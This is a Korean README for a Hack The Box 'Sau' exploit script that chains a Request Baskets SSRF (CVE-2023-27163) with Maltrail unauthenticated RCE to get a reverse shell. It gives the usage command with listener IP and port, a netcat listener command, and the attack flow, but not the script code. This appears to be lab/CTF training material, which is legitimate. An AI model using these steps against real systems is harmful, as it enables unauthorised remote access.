HTB Sau 익스플로잇 체인 — CVE-2023-27163 (SSRF) + Maltrail RCE 자동화

CVE-2023-27163(Request Baskets ≤ 1.2.1의 서버사이드 요청 위조(SSRF))와 Maltrail 0.53의 인증되지 않은 원격 코드 실행(RCE) 취약점을 연쇄하여 리버스 셸을 전달하는 Python 익스플로잇 스크립트입니다. Hack The Box Sau 머신용으로 설계되었습니다.

📌 개요

이 스크립트는 대상에 초기 접근 권한을 얻기 위해 다음과 같은 공격 경로를 자동화합니다:

1. CVE-2023-27163을 악용하여 사용 가능한 버킷 엔드포인트 획득
2. 노출된 서비스를 활용하여 Maltrail과 상호작용
3. Maltrail에서 인증되지 않은 RCE 트리거
4. 공격자 머신으로 리버스 셸 전달

⚙️ 사용법

python3 exploit.py <TARGET_URL> <LISTENER_IP> <LISTENER_PORT>

예시:

python3 exploit.py http://10.10.11.224 10.10.14.6 4444

🎧 Netcat 리스너 (중요)

익스플로잇을 실행하기 전에, 리버스 셸을 받을 리스너를 머신에서 시작하세요:

nc -lvnp <LISTENER_PORT>

예시:

nc -lvnp 4444

🧩 매개변수

🚀 익스플로잇 흐름

• 대상 URL 정규화
• CVE-2023-27163을 트리거하여 요청 바스켓 생성/접근
• 접근 가능한 엔드포인트 (bucket_url) 추출
• 버킷을 사용하여 Maltrail과 상호작용
• 페이로드를 실행하여 리버스 셸 생성

⚠️ 참고사항

• 리스너가 스크립트 실행 전에 실행 중인지 확인하세요
• 대상 URL에서 후행 / 제거 (스크립트에서 자동 처리됨)
• HTB Sau 머신 전용으로 설계됨 — 일반화되지 않을 수 있음

📚 참고 자료

• CVE-2023-27163 (Request Baskets)
• Maltrail Unauthenticated RCE

🛑 면책 조항

이 프로젝트는 교육 목적과 Hack The Box와 같은 승인된 환경에서 사용하기 위한 것입니다. 적절한 허가 없이 시스템에 사용하지 마십시오.